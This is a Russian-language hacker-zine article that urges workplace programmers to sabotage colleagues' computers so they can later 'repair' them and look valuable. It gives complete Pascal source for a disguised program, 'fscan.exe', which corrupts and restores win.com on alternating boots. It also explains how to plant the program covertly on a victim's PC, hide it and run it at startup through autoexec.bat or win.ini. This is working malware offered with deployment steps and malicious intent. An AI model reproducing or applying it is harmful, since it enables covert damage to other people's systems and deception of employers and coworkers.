Здорово. Послушай, что я
скажу. Я на этом сайте недавно и мне он
нравится всё больше и больше. Мне нравятся
хорошие статьи, а также, когда можно
высказаться, и фотки девочек. А когда всё это
собрано в одном флаконе, то мне, ленивому,
это в самый раз. В общем почитал я немного о
разных приколах, подлянках и прочем
вредительстве и понял, что, в общем то,
иногда этим стоит заниматься. Правда не
всегда есть в этом смысл, но это уже вопрос
второстепенный. Ты же не думаешь о пользе
занятия, когда, например, пьёшь пиво или
играешь в кваку до отупения или занимаешься
любовью с женщиной (чё-то я отвлёкся). Короче,
если ты делаешь что-то в кайф, то наверняка в
этом есть смысл, я так думаю. Многие приколы
и подлянки известны уже давно, просто о
них забыли, а, как говорится, всё новое - это
хорошо забытое старое (вроде в рифму сказал).
И решил я тоже не ударить, так сказать, лицом
в грязь и поделиться своим небольшим
прикольчиком. Если, ты не хочешь слушать мою
историю, можешь следующий абзац
пропустить и перейти сразу к телу, в
смысле к делу программы, т. е. к коду
программы и тебе сразу станет всё ясно.
КАК Я ДОДУМАЛСЯ ДО ЭТОГО
Как-то не так уж и давно (примерно
в 95-м году) мне один товарищ дал почитать
рассказик "Наш Bofth". Может ты читал его
и вспомнишь? В нём описываются будни
бывалого программера и к тому же
супервизора. Действие рассказа происходит
в доисторические времена, когда инета ещё и
не было вовсе. Рассказ мне очень понравился
и я долго смеялся. В этом рассказе "Bofth"
старался делать так, чтобы на работе
чувствовали его значимость. Сидя за своим
рабочим местом я впоследствии думал, что
хоть пока меня начальство и ценит, но
парочку заначек в виде небольших подлянок
не помешало бы иметь и, в случае невнимания
со стороны последнего, сделать так, чтобы
меня ценили. У меня есть несколько
заготовок на этот счёт и думаю, что они
будут интересны как любителям западла так и
бедным, никем не замечаемым, операторам или
начинающим программерам. Если ты Кул-Хакер
или программер, то, думаю, согласишься со
мной, когда я скажу, что ты это давно знаешь,
но в свете новых технологий, забыл. Что
нужно сделать, чтобы тебя ценили? Ничего
особенного, кроме как что-то поломать, а
потом лучше всех и быстрее всех это сделать
- думаю это ты и без меня знаешь. А если это
будет случаться с какой-то периодичностью,
например перед выдачей зарплаты, то твоим
подлянкам цены не будет и все тебя будут
любить и лелеять. А честных и добрых
программеров почему-то всегда считают
тупыми и дармоедами (это я опять отвлёкся).
Короче смысл такой, что делай только так,
как это выгодно тебе и все тебя будут
уважать, а женщины отдаваться (шутка). Если
ты прочитал всё вышеизложенное, то, самое
время обсудить, как это можно реализовать.
Рассмотрим несколько вариантов.
1. У тебя, конечно, как и у
всех бывалых, или не очень, хакеров имеется
пара вирусов, способных нанести
разрушительные бедствия твоим жертвам. Но
сможешь ли ты потом быстро всё починить? А
если работа за компутерами на предприятии
централизована и осуществляется на каких-то
специальных АРМ-ах ? Сможешь ли ты потом
быстро восстановить данные? Если да, то это
смогут и другие, не менее крутые
программеры, которых щас хоть пруд пруди.
Этот вариант не подходит, т.к. только ты
должен уметь быстро всё налаживать.
2.Можно что-то отключить
во внутренностях компутера, например, шлейф
от дисковода или питание перекрыть, но
опять-таки придётся ковырять железо. Что
если позовут не тебя, а кого-то другого, а уж
он то сразу разберётся что к чему, так как
сегодня ковырять железо может и ребёнок.
Это не для нас.
3.Ты можешь удалить какой-нить
главный файл, а потом после надрывных
звонков на твой телефон соблаговолить
поднять трубку и, после жалобных уговоров
ничего не подозревающих пользователей,
пойти и незаметно переписать. Опять не то, т.к.
резервные копии могут быть не только у тебя.
Ты же не будешь систематически залазить в
комп своей жертвы и что-то там делать - о
тебе могут плохо подумать. Но тут ты
вспоминаешь, что умеешь, помимо всего
прочего, ещё и программировать, и тебя
именно из-за этого пока держат на работе. И
тут напрашивается четвёртый вариант.
4.Что если написать
программку, которая коверкает какой-нить
важный файл, а затем сама же его и
восстанавливает? Если заложить в неё ещё и
такие параметры, как периодичность работы,
то это будет как раз то, что нужно. Критики
скажут, что мол можно и по локалке зайти на
любой ПК и сделать всё, что можно. Если ты
это можешь сделать, то ты, наверное, и есть
супервизор и для тебя эта подлянка
бессмысленна. Но даже, если ты не супервизор
и можешь лазить по чужим компутерам, то
значит за этим кто-то сильно бдит. Если нет,
то я пас. В общем, останавливаемся на
четвёртом пункте и переходим к следующему
абзацу.
ПРОГРАММА ИЗНУТРИ
Я взялся подпортить файл
win.com, находящийся на всех компутерах у нас
на работе. Я думаю, что он есть везде, где
стоят компутеры. После небольших изменений
в программке, можно легко и быстро поломать/восстановить
любой файл, который ты пожелаешь. Раз я
порчу главный файл форточек, то значит
программку пишу не под эти самые форточки. Я
решил писать на Паскале - этот язык вполне
отвечает моим требованиям, да и, в случае
чего, можно будет легко его использовать в
Delphi (если захочется чего-нить современного).
Программа должна действовать быстро и
реагировать на какое-нить глобальное
событие. У меня этим событием является
загрузка компутера. Я думаю, что это не тот
случай, когда надо вешать программу
резидентно в памяти, поэтому достаточно
будет одного её запуска, после включения
компутера. Но если у тебя особенно злобные
мысли, то можешь вызов этого файла
поместить в раздел Windows файла win.ini. Я решил
сделать так, чтобы винды по нечётной
попытке загрузить компутер ломались, а по
чётной восстанавливались. Особо дотошные
могут изменить программку таким образом,
чтобы компутеры ломались допустим 20-го
числа каждого месяца, а потом, после их
умелых действий вдруг начинали работать.
Что касается этих предложений, то здесь, как
говорится, конь не валялся. Теперь решим,
каким образом мы будем портить винды? Я
предлагаю самый что ни на есть простой:
дописывать пробел в начало файла win.com.
Согласись - это не я придумал. Это очень
старый и простой прикол, зато после него при
запуске форточек на экран вылазит всякая
абракадабра - на юзеров это действует
убийственно и они начинают думать, что
виноваты в этом сами (ну самобичевание для
них будет весьма полезно). Особо дотошные
могут вообще зашифровать файл win.com - надо
только добавить в программку пару строк и
всё. Но не будем забывать, что потом надо это
всё и расшифровывать, т.е. программа может
вызвать некоторую задержку при загрузке, а
это нежелательно, да и не нужно. Итак,
алгоритм прост: при нечётном запуске ставим
пробел в win.com, а при чётном убираем его
оттуда. Чётность запуска ("0" или
"1") будем хранить в своём же "экзешном"
файле, только в конце. Если ты хочешь
поизвращаться, то можешь придумать что-нить
своё, но, как мне кажется, предлагаемый мною
вариант тоже не худший. Ниже представлен
текст этой программы:
uses dos;
{Описываем все глобалы....}
var
p:pathstr;
direct:dirstr;
name:namestr;
ex:extstr;
ff1,ff2,f1,f2:file;
s:string;
nr:integer;
buf:array[1..7000] of char; {желательно
размер буфера взять побольше...}
{копирование файлов описываем в виде
процедур...}
procedure ffcopy(var f1,f2:file);
begin
repeat
blockread(f1,buf,sizeof(buf),nr);
if nr=0 then break;
blockwrite(f2,buf,nr-1);
until nr=0;
end;
procedure fcopy(var f1,f2:file);
begin
repeat
blockread(f1,buf,sizeof(buf),nr);
blockwrite(f2,buf,nr);
until nr=0;
end;
begin
nr:=1;
assign(ff2,fexpand('fscan.~x~')); {промежуточный
файл, который потом удалим...}
rewrite(ff2,1);
assign(ff1,fexpand('fscan.exe'));
reset(ff1,1);
ffcopy(ff1,ff2);
{копируем наш "экзешник" в
промежуточный файл...}
{и обрабатываем этот файл на предмет
определения чётности запуска, с
последующим изменением
чётности...}
seek(ff1,filepos(ff1)-1);
blockread(ff1,buf,sizeof(buf),nr);
s:=buf[1];
if buf[1]='0' then s:='1' else s:='0';
buf[1]:=s[1];
blockwrite(ff2,buf,1);
close(ff1); close(ff2);
reset(ff2,1); rewrite(ff1,1);
fcopy(ff2,ff1); close(ff1); close(ff2);
erase(ff2); {не забываем
удалить промежуточный файл...}
{Ищем файл win.com в разных
каталогах ...}
p:=fsearch('win.com',getenv('path'));
if p='' then
p:=fsearch('win.com','c:\;c:\windows;c:\win95;c:\win98');
if p<>'' then
begin
fsplit(p,direct,name,ex);
assign(f1,direct+'win.com');
reset(f1,1);
assign(f2,direct+'win.co~');
rewrite(f2,1);
{а дальше
классика ...}
buf[1]:=' ';
if s='1' then
blockwrite(f2,buf,1)
else
seek(f1,1);
fcopy(f1,f2);
close(f1);
close(f2);
reset(f2,1);
rewrite(f1,1);
fcopy(f2,f1);
close(f1);
close(f2);
{и заметаем следы.}
erase(f2);
{ВСЁ !!!}
end;
end.
Процедуры копирования
одного файла в другой лучше было бы сделать
на ассемблере, но я давно им не пользовался
и мне ломы вспоминать. После ввода текста
программы её нужно откомпилировать на диск.
Затем зайди в экзешник и добавь в конец
файла "0". Перепиши программку на комп
жертвы. На всякий случай присвой файлу
атрибут скрытый. Заметь, я назвал программу
"fscan.exe", если ты хочешь дать ей другое
имя, то укажи его также в тексте кода. Затем
пропиши вызов этой программки в autoexec.bat (или
в win.ini). Кстати, если пропишешь вызов в win.ini,
то тебе придётся запустить программу
вручную для восстановления форточек. Если
всё сделал правильно, то теперь можешь
спать спокойно: программа будет верно тебе
служить, нанося вред твоим жертвам.
ЭПИЛОГ
Эта статья является, так
сказать, первым моим блином, поэтому я не
обижусь на критику и даже буду за неё
благодарен. Свой отзыв можешь писать на e-mail.